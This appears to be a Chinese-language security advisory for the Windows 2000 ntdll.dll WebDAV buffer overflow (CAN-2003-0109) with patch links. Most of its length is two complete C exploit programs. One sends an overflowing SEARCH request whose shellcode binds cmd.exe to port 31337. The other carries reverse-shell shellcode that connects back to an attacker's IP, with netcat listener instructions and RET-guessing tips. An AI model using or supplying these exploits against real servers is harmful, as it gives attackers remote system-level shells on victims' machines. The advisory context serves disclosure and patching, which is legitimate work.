Microsoft Windows 2000 ntdll.dll WebDAV接口远程缓冲区溢出漏洞发布时间:2003-03-27 更新时间:2003-03-27 严重程度:高 威胁程度:远程管理员权限 错误类型:边界检查错误 利用方式:服务器模式 BUGTRAQ ID:7116 CVE(CAN) ID:CAN-2003-0109 受影响系统 Microsoft Windows 2000 Advanced Server SP3详细描述 Microsoft IIS 5.0带有WebDaV组件对用户输入的传递给ntdll.dll程序处理的请求未做充分的边界检查,远程入侵者可以通过向WebDaV提交一个精心构造的超长的数据请求而导致发生缓冲区溢出,这可能使入侵者以LocalSystem的权限在主机上执行任意指令。 测试代码 /*************************************/ /* IIS 5.0 WebDAV -Proof of concept- */ /* [ Bug: CAN-2003-0109 ] */ /* By Roman Medina-Heigl Hernandez */ /* aka RoMaNSoFt <roman@rs-labs.com> */ /* Madrid, 23.Mar.2003 */ /* ================================= */ /* Public release. Version 1. */ /* --------------------------------- */ /* -= http://www.rs-labs.com/ =- */ /*************************************/ /* ================================================================================================== * --[ READ ME ] * * This exploit is mainly a proof of concept of the recently discovered ntdll.dll bug (which may be * exploited in many other programs, not necessarily IIS). Practical exploitation is not as easy as * expected due to difficult RET guessing mixed with possible IIS crashes (which makes RET brute * forcing a tedious work). The shellcode included here will bind a cmd.exe shell to a given port * at the victim machine so it could be problematic if that machine is protected behind a firewall. * For all these reasons, the scope of this code is limited and mainly intended for educational * purposes. I am not responsible of possible damages created by the use of this exploit code. * * The program sends a HTTP request like this: * * SEARCH /[nop] [ret][ret][ret] ... [ret] [nop][nop][nop][nop][nop] ... [nop] [jmpcode] HTTP/1.1 * {HTTP headers here} * {HTTP body with webDAV content} * 0x01 [shellcode] * * IIS converts the first ascii string ([nop]...[jmpcode]) to Unicode using UTF-16 encoding (for * instance, 0x41 becomes 0x41 0x00, i.e. an extra 0x00 byte is added) and it is the resultant * Unicode string the one producing the overflow. So at first glance, we cannot include code here * (more on this later) because it would get corrupted by 0x00 (and other) inserted bytes. Not at * least using the common method. Another problem that we will have to live with is our RET value * being padded with null bytes, so if we use 0xabcd in our string, the real RET value (i.e. the * one EIP will be overwritten with) would be 0x00ab00cd. This is an important restriction. * * We have two alternatives: * * 1) The easy one: find any occurrences of our ascii string (i.e. before it gets converted to * the Unicode form) in process memory. Problem: normally we should find it by debugging the * vulnerable application and then hardcode the found address (which will be the RET address) * in our exploit code. This RET address is variable, even for the same version of OS and app * (I mean, different instances of the same application in the same machine could make the * guessed RET address invalid at different moments). Now add the restriction of RET value * padded with null-bytes. Anyway, the main advantage of this method is that we will not have * to deal with 0x00-padded shellcode. * * 2) The not so-easy one: you could insert an encoded shellcode in such a way that when the app * expands the ascii string (with the encoded shellcode) to Unicode, a valid shellcode is * automagically placed into memory. Please, refer to Chris Anley's "venetian exploit" paper * to read more about this. Dave Aitel also has a good paper about this technique and indeed * he released code written in Python to encode shellcode (I'm wondering if he will release a * working tool for that purpose, since the actual code was released as part of a commercial * product, so it cannot be run without buying the whole product, despite the module itself * being free!). Problem: it is not so easy as the first method ;-) Advantage: when the over- * flow happens, some registers may point to our Unicoded string (where our Unicoded-shellcode * lives in), so we don't need to guess the address where shellcode will be placed and the * chance of a successful exploitation is greatly improved. For instance, in this case, when * IIS is overflowed, ECX register points to the Unicode string. The idea is then fill in * RET value with the fixed address of code like "call %ecx". This code may be contained in * any previosly-loaded library, for example). * * Well, guess it... yes... I chose the easy method :-) Perhaps I will rewrite the exploit * using method 2, but I cannot promise that. * * Let's see another problem of the method 1 (which I have used). Not all Unicode conversions * result in a 0x00 byte being added. This is true for ascii characters lower or equal to 0x7f * (except for some few special characters, I'm not sure). But our shellcode will have bytes * greater than 0x7f value. So we don't know the exact length of the Unicoded-string containing * our shellcode (some ascii chars will expand to more than 2 bytes, I think). As a result, * sometimes the exploit may not work, because no exact length is matched. For instance, if you * carry out experiments on this issue, you could see that IIS crashes (overflow occurs) when * entering a query like SEARCH /AAAA...AAA HTTP/1.1, with 65535 A's. Same happens with 65536. * But with different values seems NOT to work. So matching the exact length is important here! * * What I have done, it is to include a little "jumpcode" instead of the shellcode itself. The * jumpcode is placed into the "critical" place and has a fixed length, so our string has always * a fixed length, too. The "variable" part (the shellcode) is placed at the end of the HTTP * request (so you can insert your own shellcode and remove the one I'm using here, with no apparent * problem). To be precise, the end of the request will be: 0x01 [shellcode]. The 0x01 byte marks * the beginning of the shellcode and it is used by the jumpcode to find the address where shell- * code begins and jump into it. It is not possible to hardcode a relative jump, because HTTP * headers have a variable length (think about the "Host:" header and you will understand what * I'm saying). Well, really, the exploit could have calculated the relative jump itself (other * problems arise like null-bytes possibly contained in the offset field) but I have prefered to * use the 0x01 trick. It's my exploit, it's my choice :-) * * After launching the exploit, several things may happen: * - the exploit is successful. You can connect to the bound port of victim machine and get a * shell. Great. Remember that when you issue an "exit" command in the shell prompt, the pro- * cess will be terminated. This implies that IIS could die. * - exploit returns a "server not vulnerable" response. Really, the server may not be vulnerable * or perhaps the SEARCH method used by the exploit is not permitted (the bug can still be * exploited via GET, probably) or webDAV is disabled at all. * - exploit did not get success (which is not strange, since it is not easy to guess RET value) * but the server is vulnerable. IIS will probably not survive: a "net start w3svc" could be * needed in the victim machine, in order to restart the WWW service. * * The following log shows a correct exploitation: * * roman@goliat:~/iis5webdav> gcc -o rs_iis rs_iis.c * roman@goliat:~/iis5webdav> ./rs_iis roman * [*] Resolving hostname ... * [*] Attacking port 80 at roman (EIP = 0x00480004)... * [*] Now open another console/shell and try to connect (telnet) to victim port 31337... * * roman@goliat:~/iis5webdav> telnet roman 31337 * Trying 192.168.0.247... * Connected to roman. * Escape character is '^]'. * Microsoft Windows 2000 [Versi 5.00.2195] * (C) Copyright 1985-2000 Microsoft Corp. * * C:\WINNT\system32> * * * I am not going to show logs for the faulty cases. I'm pretty sure you will see them very * soon :-) But yes, the exploit works, perhaps a little fine-tunning may be required, though. * So please, do NOT contact me telling that the exploit doesn't work or things like that. It * worked for me and it will work for you, if you're not a script-kiddie. Try to attach to the * IIS process (inetinfo.exe) with the help of a debugger (OllyDbg is my favourite) on the * victim machine and then launch the exploit against it. Debugger will break when the first * exception is produced. Now place a breakpoint in 0x00ab00cd (being 0xabcd the not-unicoded * RET value) and resume execution until you reach that point. Finally, it's time to search * the memory looking for our shellcode. It is nearly impossible (very low chance) that our * shellcode is found at any 0x00**00**-form address (needed to bypass the RET restriction * imposed by Unicode conversion) but no problem: you have a lot of NOPs before the shellcode * where you could point to. If EIP is overwritten with the address of such a NOP, program flow * will finish reaching our shellcode. Note also that among the two bytes of RET that we have some * kind of control, the more important is the first one, i.e. the more significant. In other * words, interesting RET values to try are: 0x0104, 0x0204, 0x0304, 0x0404, 0x0504, ..., * and so on, till 0xff04. As you may have noticed, the last byte (0x04) is never changed because * its weight is minimal (256 between aprox. 65000 NOP's is not appreciable). * * I will be happy to receive ideas, comments and feedback about issues related to this exploit * and the exploited vulnerability itself. Drop me an e-mail. No script-kiddies, please. * * My best wishes, * --Roman * * ================================================================= --[ EOT ]-- ==================== */ #include <stdio.h> #include <errno.h> #include <string.h> #include <stdlib.h> #include <sys/types.h> #include <sys/socket.h> #include <netdb.h> #include <netinet/in.h> // Change to fit your need #define RET 0x4804 // EIP = 0x00480004 #define LOADLIBRARYA 0x0100107c #define GETPROCADDRESS 0x01001034 // Don't change this #define PORT_OFFSET 1052 #define LOADL_OFFSET 798 #define GETPROC_OFFSET 815 #define NOP 0x90 #define MAXBUF 100000 /* * LoadLibraryA IT Address := 0100107C * GetProcAddress IT Address := 01001034 */ unsigned char shellcode[] = // Deepzone shellcode "\x68\x5e\x56\xc3\x90\x54\x59\xff\xd1\x58\x33\xc9\xb1\x1c" "\x90\x90\x90\x90\x03\xf1\x56\x5f\x33\xc9\x66\xb9\x95\x04" "\x90\x90\x90\xac\x34\x99\xaa\xe2\xfa\x71\x99\x99\x99\x99" "\xc4\x18\x74\x40\xb8\xd9\x99\x14\x2c\x6b\xbd\xd9\x99\x14" "\x24\x63\xbd\xd9\x99\xf3\x9e\x09\x09\x09\x09\xc0\x71\x4b" "\x9b\x99\x99\x14\x2c\xb3\xbc\xd9\x99\x14\x24\xaa\xbc\xd9" "\x99\xf3\x93\x09\x09\x09\x09\xc0\x71\x23\x9b\x99\x99\xf3" "\x99\x14\x2c\x40\xbc\xd9\x99\xcf\x14\x2c\x7c\xbc\xd9\x99" "\xcf\x14\x2c\x70\xbc\xd9\x99\xcf\x66\x0c\xaa\xbc\xd9\x99" "\xf3\x99\x14\x2c\x40\xbc\xd9\x99\xcf\x14\x2c\x74\xbc\xd9" "\x99\xcf\x14\x2c\x68\xbc\xd9\x99\xcf\x66\x0c\xaa\xbc\xd9" "\x99\x5e\x1c\x6c\xbc\xd9\x99\xdd\x99\x99\x99\x14\x2c\x6c" "\xbc\xd9\x99\xcf\x66\x0c\xae\xbc\xd9\x99\x14\x2c\xb4\xbf" "\xd9\x99\x34\xc9\x66\x0c\xca\xbc\xd9\x99\x14\x2c\xa8\xbf" "\xd9\x99\x34\xc9\x66\x0c\xca\xbc\xd9\x99\x14\x2c\x68\xbc" "\xd9\x99\x14\x24\xb4\xbf\xd9\x99\x3c\x14\x2c\x7c\xbc\xd9" "\x99\x34\x14\x24\xa8\xbf\xd9\x99\x32\x14\x24\xac\xbf\xd9" "\x99\x32\x5e\x1c\xbc\xbf\xd9\x99\x99\x99\x99\x99\x5e\x1c" "\xb8\xbf\xd9\x99\x98\x98\x99\x99\x14\x2c\xa0\xbf\xd9\x99" "\xcf\x14\x2c\x6c\xbc\xd9\x99\xcf\xf3\x99\xf3\x99\xf3\x89" "\xf3\x98\xf3\x99\xf3\x99\x14\x2c\xd0\xbf\xd9\x99\xcf\xf3" "\x99\x66\x0c\xa2\xbc\xd9\x99\xf1\x99\xb9\x99\x99\x09\xf1" "\x99\x9b\x99\x99\x66\x0c\xda\xbc\xd9\x99\x10\x1c\xc8\xbf" "\xd9\x99\xaa\x59\xc9\xd9\xc9\xd9\xc9\x66\x0c\x63\xbd\xd9" "\x99\xc9\xc2\xf3\x89\x14\x2c\x50\xbc\xd9\x99\xcf\xca\x66" "\x0c\x67\xbd\xd9\x99\xf3\x9a\xca\x66\x0c\x9b\xbc\xd9\x99" "\x14\x2c\xcc\xbf\xd9\x99\xcf\x14\x2c\x50\xbc\xd9\x99\xcf" "\xca\x66\x0c\x9f\xbc\xd9\x99\x14\x24\xc0\xbf\xd9\x99\x32" "\xaa\x59\xc9\x14\x24\xfc\xbf\xd9\x99\xce\xc9\xc9\xc9\x14" "\x2c\x70\xbc\xd9\x99\x34\xc9\x66\x0c\xa6\xbc\xd9\x99\xf3" "\xa9\x66\x0c\xd6\xbc\xd9\x99\x72\xd4\x09\x09\x09\xaa\x59" "\xc9\x14\x24\xfc\xbf\xd9\x99\xce\xc9\xc9\xc9\x14\x2c\x70" "\xbc\xd9\x99\x34\xc9\x66\x0c\xa6\xbc\xd9\x99\xf3\xc9\x66" "\x0c\xd6\xbc\xd9\x99\x1a\x24\xfc\xbf\xd9\x99\x9b\x96\x1b" "\x8e\x98\x99\x99\x18\x24\xfc\xbf\xd9\x99\x98\xb9\x99\x99" "\xeb\x97\x09\x09\x09\x09\x5e\x1c\xfc\xbf\xd9\x99\x99\xb9" "\x99\x99\xf3\x99\x12\x1c\xfc\xbf\xd9\x99\x14\x24\xfc\xbf" "\xd9\x99\xce\xc9\x12\x1c\xc8\xbf\xd9\x99\xc9\x14\x2c\x70" "\xbc\xd9\x99\x34\xc9\x66\x0c\xde\xbc\xd9\x99\xf3\xc9\x66" "\x0c\xd6\xbc\xd9\x99\x12\x1c\xfc\xbf\xd9\x99\xf3\x99\xc9" "\x14\x2c\xc8\xbf\xd9\x99\x34\xc9\x14\x2c\xc0\xbf\xd9\x99" "\x34\xc9\x66\x0c\x93\xbc\xd9\x99\xf3\x99\x14\x24\xfc\xbf" "\xd9\x99\xce\xf3\x99\xf3\x99\xf3\x99\x14\x2c\x70\xbc\xd9" "\x99\x34\xc9\x66\x0c\xa6\xbc\xd9\x99\xf3\xc9\x66\x0c\xd6" "\xbc\xd9\x99\xaa\x50\xa0\x14\xfc\xbf\xd9\x99\x96\x1e\xfe" "\x66\x66\x66\xf3\x99\xf1\x99\xb9\x99\x99\x09\x14\x2c\xc8" "\xbf\xd9\x99\x34\xc9\x14\x2c\xc0\xbf\xd9\x99\x34\xc9\x66" "\x0c\x97\xbc\xd9\x99\x10\x1c\xf8\xbf\xd9\x99\xf3\x99\x14" "\x24\xfc\xbf\xd9\x99\xce\xc9\x14\x2c\xc8\xbf\xd9\x99\x34" "\xc9\x14\x2c\x74\xbc\xd9\x99\x34\xc9\x66\x0c\xd2\xbc\xd9" "\x99\xf3\xc9\x66\x0c\xd6\xbc\xd9\x99\xf3\x99\x12\x1c\xf8" "\xbf\xd9\x99\x14\x24\xfc\xbf\xd9\x99\xce\xc9\x12\x1c\xc8" "\xbf\xd9\x99\xc9\x14\x2c\x70\xbc\xd9\x99\x34\xc9\x66\x0c" "\xde\xbc\xd9\x99\xf3\xc9\x66\x0c\xd6\xbc\xd9\x99\x70\x20" "\x67\x66\x66\x14\x2c\xc0\xbf\xd9\x99\x34\xc9\x66\x0c\x8b" "\xbc\xd9\x99\x14\x2c\xc4\xbf\xd9\x99\x34\xc9\x66\x0c\x8b" "\xbc\xd9\x99\xf3\x99\x66\x0c\xce\xbc\xd9\x99\xc8\xcf\xf1" "\xe5\x89\x99\x98\x09\xc3\x66\x8b\xc9\xc2\xc0\xce\xc7\xc8" "\xcf\xca\xf1\xad\x89\x99\x98\x09\xc3\x66\x8b\xc9\x35\x1d" "\x59\xec\x62\xc1\x32\xc0\x7b\x70\x5a\xce\xca\xd6\xda\xd2" "\xaa\xab\x99\xea\xf6\xfa\xf2\xfc\xed\x99\xfb\xf0\xf7\xfd" "\x99\xf5\xf0\xea\xed\xfc\xf7\x99\xf8\xfa\xfa\xfc\xe9\xed" "\x99\xea\xfc\xf7\xfd\x99\xeb\xfc\xfa\xef\x99\xfa\xf5\xf6" "\xea\xfc\xea\xf6\xfa\xf2\xfc\xed\x99\xd2\xdc\xcb\xd7\xdc" "\xd5\xaa\xab\x99\xda\xeb\xfc\xf8\xed\xfc\xc9\xf0\xe9\xfc" "\x99\xde\xfc\xed\xca\xed\xf8\xeb\xed\xec\xe9\xd0\xf7\xff" "\xf6\xd8\x99\xda\xeb\xfc\xf8\xed\xfc\xc9\xeb\xf6\xfa\xfc" "\xea\xea\xd8\x99\xc9\xfc\xfc\xf2\xd7\xf8\xf4\xfc\xfd\xc9" "\xf0\xe9\xfc\x99\xde\xf5\xf6\xfb\xf8\xf5\xd8\xf5\xf5\xf6" "\xfa\x99\xcb\xfc\xf8\xfd\xdf\xf0\xf5\xfc\x99\xce\xeb\xf0" "\xed\xfc\xdf\xf0\xf5\xfc\x99\xca\xf5\xfc\xfc\xe9\x99\xda" "\xf5\xf6\xea\xfc\xd1\xf8\xf7\xfd\xf5\xfc\x99\xdc\xe1\xf0" "\xed\xc9\xeb\xf6\xfa\xfc\xea\xea\x99\xda\xf6\xfd\xfc\xfd" "\xb9\xfb\xe0\xb9\xe5\xc3\xf8\xf7\xb9\xa5\xf0\xe3\xf8\xf7" "\xd9\xfd\xfc\xfc\xe9\xe3\xf6\xf7\xfc\xb7\xf6\xeb\xfe\xa7" "\x9b\x99\x86\xd1\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99" "\x99\x99\x95\x99\x99\x99\x99\x99\x99\x99\x98\x99\x99\x99" "\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99" "\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99" "\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99" "\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99" "\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99" "\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99" "\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99" "\x99\x99\xda\xd4\xdd\xb7\xdc\xc1\xdc\x99\x99\x99\x99\x99" "\x89\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99" "\x99\x99\x99\x99\x99\x99\x90\x90\x90\x90\x90\x90\x90\x90"; unsigned char jumpcode[] = "\x8b\xf9\x32\xc0\xfe\xc0\xf2\xae\xff\xe7"; /* mov edi, ecx * xor al, al * inc al * repnz scasb * jmp edi */ char body[] = "<?xml version=\"1.0\"?>\r\n<g:searchrequest xmlns:g=\"DAV:\">\r\n" \ "<g:sql>\r\nSelect \"DAV:displayname\" from scope()\r\n</g:sql>\r\n</g:searchrequest>\r\n"; /* Our code starts here */ int main (int argc, char **argv) { unsigned long ret; unsigned short port; int tport, bport, s, i, j, r, rt=0; struct hostent *h; struct sockaddr_in dst; char buffer[MAXBUF]; if (argc < 2 || argc > 5) { printf("IIS 5.0 WebDAV Exploit by RoMaNSoFt <roman@rs-labs.com>. 23/03/2003\nUsage: %s <target host> [target port] [bind port] [ret]\nE.g 1: %s victim.com\nE.g 2: %s victim.com 80 31337 %#.4x\n", argv[0], argv[0], argv[0], RET); exit(-1); } // Default target port = 80 if (argc > 2) tport = atoi(argv[2]); else tport = 80; // Default bind port = 31337 if (argc > 3) bport = atoi(argv[3]); else bport = 31337; // Default ret value = RET if (argc > 4) ret = strtoul(argv[4], NULL, 16); else ret = RET; if ( ret > 0xffff || (ret & 0xff) == 0 || (ret & 0xff00) == 0 ) { fprintf(stderr, "RET value must be in 0x0000-0xffff range and it may not contain null-bytes\nAborted!\n"); exit(-2); } // Shellcode patching port = htons(bport); port ^= 0x9999; if ( ((port & 0xff) == 0) || ((port & 0xff00) == 0) ) { fprintf(stderr, "Binding-port contains null-byte. Use another port.\nAborted!\n"); exit(-3); } *(unsigned short *)&shellcode[PORT_OFFSET] = port; *(unsigned long *)&shellcode[LOADL_OFFSET] = LOADLIBRARYA ^ 0x99999999; *(unsigned long *)&shellcode[GETPROC_OFFSET] = GETPROCADDRESS ^ 0x99999999; // If the last two items contain any null-bytes, exploit will fail. // WARNING: this check is not performed here. Be careful and check it for yourself! // Resolve hostname printf("[*] Resolving hostname ...\n"); if ((h = gethostbyname(argv[1])) == NULL) { fprintf(stderr, "%s: unknown hostname\n", argv[1]); exit(-4); } bcopy(h->h_addr, &dst.sin_addr, h->h_length); dst.sin_family = AF_INET; dst.sin_port = htons(tport); // Socket creation if ((s = socket(AF_INET, SOCK_STREAM, 0)) == -1) { perror("Failed to create socket"); exit(-5); } // Connection if (connect(s, (struct sockaddr *)&dst, sizeof(dst)) == -1) { perror("Failed to connect"); exit(-6); } // Build malicious string... printf("[*] Attacking port %i at %s (EIP = %#.4x%.4x)...\n", tport, argv[1], ((ret >> 8) & 0xff), ret & 0xff); bzero(buffer, MAXBUF); strcpy(buffer, "SEARCH /"); i = strlen(buffer); buffer[i] = NOP; // Align for RET overwrite // Normally, EIP will be overwritten with buffer[8+2087] but I prefer to fill some more bytes ;-) for (j=i+1; j < i+2150; j+=2) *(unsigned short *)&buffer[j] = (unsigned short)ret; // The rest is padded with NOP's. RET address should point to this zone! for (; j < i+65535-strlen(jumpcode); j++) buffer[j] = NOP; // Then we skip the body of the HTTP request memcpy(&buffer[j], jumpcode, strlen(jumpcode)); strcpy(buffer+strlen(buffer), " HTTP/1.1\r\n"); sprintf(buffer+strlen(buffer), "Host: %s\r\nContent-Type: text/xml\r\nContent-Length: %d\r\n\r\n", argv[1], strlen(body) + strlen(shellcode)); strcpy(buffer+strlen(buffer), body); // This byte is used to mark the beginning of the shellcode memset(buffer+strlen(buffer), 0x01, 1); // And finally, we land into our shellcode memset(buffer+strlen(buffer), NOP, 3); strcpy(buffer+strlen(buffer), shellcode); // Send request if (send(s, buffer, strlen(buffer), 0) != strlen(buffer)) { perror("Failed to send"); exit(-7); } printf("[*] Now open another console/shell and try to connect (telnet) to victim port %i...\n", bport); // Receive response while ( (r=recv(s, &buffer[rt], MAXBUF-1, 0)) > 0) rt += r; // This code is not bullet-proof. An evil WWW server could return a response bigger than MAXBUF // and an overflow would occur here. Yes, I'm lazy... :-) buffer[rt] = '\0'; if (rt > 0) printf("[*] Victim server issued the following %d bytes of response:\n--\n%s\n--\n[*] Server NOT vulnerable!\n", rt, buffer); else printf("[*] Server is vulnerable but the exploit failed! Change RET value (e.g. 0xce04) and try again (when IIS is up again) :-/\n", bport); close(s); } /*******************************************************************/ /* [Crpt] ntdll.dll exploit trough WebDAV by kralor [Crpt] */ /* --------------------------------------------------------------- */ /* this is the exploit for ntdll.dll through WebDAV. */ /* run a netcat ex: nc -L -vv -p 666 */ /* wb server.com your_ip 666 0 */ /* the shellcode is a reverse remote shell */ /* you need to pad a bit.. the best way I think is launching */ /* the exploit with pad = 0 and after that, the server will be */ /* down for a couple of seconds, now retry with pad at 1 */ /* and so on..pad 2.. pad 3.. if you haven't the shell after */ /* something like pad at 10 I think you better to restart from */ /* pad at 0. On my local IIS the pad was at 1 (0x00110011) but */ /* on all the others servers it was at 2,3,4, etc..sometimes */ /* you can have the force with you, and get the shell in 1 try */ /* sometimes you need to pad more than 10 times ;) */ /* the shellcode was coded by myself, it is SEH + ScanMem to */ /* find the famous offsets (GetProcAddress).. */ /* I know I code like a pig, my english sucks, and my tech too */ /* it is my first exploit..and my first shellcode..sorry :P */ /* if you have comments feel free to mail me at: */ /* mailto: kralor@coromputer.net */ /* or visit us at www.coromputer.net . You can speak with us */ /* at IRC undernet channel #coromputer */ /* ok now the greetz: */ /* [El0d1e] to help me find some information about the bug :) */ /* tuck_ to support me ;) */ /* and all my friends in coromputer crew! hein les poulets! =) */ /*******************************************************************/ #include <winsock.h> #include <windows.h> #include <stdio.h> #pragma comment (lib,"ws2_32") char shellc0de[] = "\x55\x8b\xec\x33\xc9\x53\x56\x57\x8d\x7d\xa2\xb1\x25\xb8\xcc\xcc" "\xcc\xcc\xf3\xab\xeb\x09\xeb\x0c\x58\x5b\x59\x5a\x5c\x5d\xc3\xe8" "\xf2\xff\xff\xff\x5b\x80\xc3\x10\x33\xc9\x66\xb9\xb5\x01\x80\x33" "\x95\x43\xe2\xfa\x66\x83\xeb\x67\xfc\x8b\xcb\x8b\xf3\x66\x83\xc6" "\x46\xad\x56\x40\x74\x16\x55\xe8\x13\x00\x00\x00\x8b\x64\x24\x08" "\x64\x8f\x05\x00\x00\x00\x00\x58\x5d\x5e\xeb\xe5\x58\xeb\xb9\x64" "\xff\x35\x00\x00\x00\x00\x64\x89\x25\x00\x00\x00\x00\x48\x66\x81" "\x38\x4d\x5a\x75\xdb\x64\x8f\x05\x00\x00\x00\x00\x5d\x5e\x8b\xe8" "\x03\x40\x3c\x8b\x78\x78\x03\xfd\x8b\x77\x20\x03\xf5\x33\xd2\x8b" "\x06\x03\xc5\x81\x38\x47\x65\x74\x50\x75\x25\x81\x78\x04\x72\x6f" "\x63\x41\x75\x1c\x81\x78\x08\x64\x64\x72\x65\x75\x13\x8b\x47\x24" "\x03\xc5\x0f\xb7\x1c\x50\x8b\x47\x1c\x03\xc5\x8b\x1c\x98\x03\xdd" "\x83\xc6\x04\x42\x3b\x57\x18\x75\xc6\x8b\xf1\x56\x55\xff\xd3\x83" "\xc6\x0f\x89\x44\x24\x20\x56\x55\xff\xd3\x8b\xec\x81\xec\x94\x00" "\x00\x00\x83\xc6\x0d\x56\xff\xd0\x89\x85\x7c\xff\xff\xff\x89\x9d" "\x78\xff\xff\xff\x83\xc6\x0b\x56\x50\xff\xd3\x33\xc9\x51\x51\x51" "\x51\x41\x51\x41\x51\xff\xd0\x89\x85\x94\x00\x00\x00\x8b\x85\x7c" "\xff\xff\xff\x83\xc6\x0b\x56\x50\xff\xd3\x83\xc6\x08\x6a\x10\x56" "\x8b\x8d\x94\x00\x00\x00\x51\xff\xd0\x33\xdb\xc7\x45\x8c\x44\x00" "\x00\x00\x89\x5d\x90\x89\x5d\x94\x89\x5d\x98\x89\x5d\x9c\x89\x5d" "\xa0\x89\x5d\xa4\x89\x5d\xa8\xc7\x45\xb8\x01\x01\x00\x00\x89\x5d" "\xbc\x89\x5d\xc0\x8b\x9d\x94\x00\x00\x00\x89\x5d\xc4\x89\x5d\xc8" "\x89\x5d\xcc\x8d\x45\xd0\x50\x8d\x4d\x8c\x51\x6a\x00\x6a\x00\x6a" "\x00\x6a\x01\x6a\x00\x6a\x00\x83\xc6\x09\x56\x6a\x00\x8b\x45\x20" "\xff\xd0" "CreateProcessA\x00LoadLibraryA\x00ws2_32.dll\x00WSASocketA\x00" "connect\x00\x02\x00\x02\x9A\xC0\xA8\x01\x01\x00" "cmd" // don't change anything.. "\x00\x00\xe7\x77" // offsets of kernel32.dll for some win ver.. "\x00\x00\xe8\x77" "\x00\x00\xf0\x77" "\x00\x00\xe4\x77" "\x00\x88\x3e\x04" // win2k3 "\x00\x00\xf7\xbf" // win9x =P "\xff\xff\xff\xff"; int test_host(char *host) { char search[100]=""; int sock; struct hostent *heh; struct sockaddr_in hmm; char buf[100] =""; if(strlen(host)>60) { printf("error: victim host too long.\r\n"); return 1; } if ((heh = gethostbyname(host))==0){ printf("error: can't resolve '%s'",host); return 1; } sprintf(search,"SEARCH / HTTP/1.1\r\nHost: %s\r\n\r\n",host); hmm.sin_port = htons(80); hmm.sin_family = AF_INET; hmm.sin_addr = *((struct in_addr *)heh->h_addr); if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1){ printf("error: can't create socket"); return 1; } printf("Checking WebDav on '%s' ... ",host); if ((connect(sock, (struct sockaddr *) &hmm, sizeof(hmm))) == -1){ printf("CONNECTING_ERROR\r\n"); return 1; } send(sock,search,strlen(search),0); recv(sock,buf,sizeof(buf),0); if(buf[9]=='4'&&buf[10]=='1'&&buf[11]=='1') return 0; printf("NOT FOUND\r\n"); return 1; } void help(char *program) { printf("syntax: %s <victim_host> <your_host> <your_port> [padding]\r\n",program); return; } void banner(void) { printf("\r\n\t [Crpt] ntdll.dll exploit trough WebDAV by kralor [Crpt]\r\n"); printf("\t\twww.coromputer.net && undernet #coromputer\r\n\r\n"); return; } void main(int argc, char *argv[]) { WSADATA wsaData; unsigned short port=0; char *port_to_shell="", *ip1="", data[50]=""; unsigned int i,j; unsigned int ip = 0 ; int s, PAD=0x10; struct hostent *he; struct sockaddr_in crpt; char buffer[65536] =""; char request[80000]; // huuuh, what a mess! :) char content[] = "<?xml version=\"1.0\"?>\r\n" "<g:searchrequest xmlns:g=\"DAV:\">\r\n" "<g:sql>\r\n" "Select \"DAV:displayname\" from scope()\r\n" "</g:sql>\r\n" "</g:searchrequest>\r\n"; banner(); if((argc<4)||(argc>5)) { help(argv[0]); return; } if(WSAStartup(0x0101,&wsaData)!=0) { printf("error starting winsock.."); return; } if(test_host(argv[1])) return; if(argc==5) PAD+=atoi(argv[4]); printf("FOUND\r\nexploiting ntdll.dll through WebDav [ret: 0x00%02x00%02x]\r\n",PAD,PAD); ip = inet_addr(argv[2]); ip1 = (char*)&ip; shellc0de[448]=ip1[0]; shellc0de[449]=ip1[1]; shellc0de[450]=ip1[2]; shellc0de[451]=ip1[3]; port = htons(atoi(argv[3])); port_to_shell = (char *) &port; shellc0de[446]=port_to_shell[0]; shellc0de[447]=port_to_shell[1]; // we xor the shellcode [xored by 0x95 to avoid bad chars] __asm { lea eax, shellc0de add eax, 0x34 xor ecx, ecx mov cx, 0x1b0 wah: xor byte ptr[eax], 0x95 inc eax loop wah } if ((he = gethostbyname(argv[1]))==0){ printf("error: can't resolve '%s'",argv[1]); return; } crpt.sin_port = htons(80); crpt.sin_family = AF_INET; crpt.sin_addr = *((struct in_addr *)he->h_addr); if ((s = socket(AF_INET, SOCK_STREAM, 0)) == -1){ printf("error: can't create socket"); return; } printf("Connecting... "); if ((connect(s, (struct sockaddr *) &crpt, sizeof(crpt))) == -1){ printf("ERROR\r\n"); return; } // No Operation. for(i=0;i<sizeof(buffer);buffer[i]=(char)0x90,i++); // fill the buffer with the shellcode for(i=64000,j=0;i<sizeof(buffer)&&j<sizeof(shellc0de)-1;buffer[i]=shellc0de[j],i++,j++); // well..it is not necessary.. for(i=0;i<2500;buffer[i]=PAD,i++); /* we can simply put our ret in this 2 offsets.. */ //buffer[2086]=PAD; //buffer[2085]=PAD; buffer[sizeof(buffer)]=0x00; memset(request,0,sizeof(request)); memset(data,0,sizeof(data)); sprintf(request,"SEARCH /%s HTTP/1.1\r\nHost: %s\r\nContent-type: text/xml\r\nContent-Length: ",buffer,argv[1]); sprintf(request,"%s%d\r\n\r\n",request,strlen(content)); printf("CONNECTED\r\nSending evil request... "); send(s,request,strlen(request),0); send(s,content,strlen(content),0); printf("SENT\r\n"); recv(s,data,sizeof(data),0); if(data[0]!=0x00) { printf("Server seems to be patched.\r\n"); printf("data: %s\r\n",data); } else printf("Now if you are lucky you will get a shell.\r\n"); closesocket(s); return; } 解决方案 厂商已经提供了补丁: Microsoft Windows 2000 Professional SP3: Microsoft Patch Q815021 http://microsoft.com/downloads/details.aspx?FamilyId=C9A38D45-5145-4844-B62E-C69D32AC929B&displaylang=en All versions of Windows 2000 except Japanese NEC. Microsoft Patch Q815021 http://microsoft.com/downloads/details.aspx?FamilyId=FBCF9847-D3D6-4493-8DCF-9BA29263C49F&displaylang=ja Japanese NEC version. Microsoft Windows 2000 Server SP3: Microsoft Patch Q815021 http://microsoft.com/downloads/details.aspx?FamilyId=C9A38D45-5145-4844-B62E-C69D32AC929B&displaylang=en All versions of Windows 2000 except Japanese NEC. Microsoft Patch Q815021 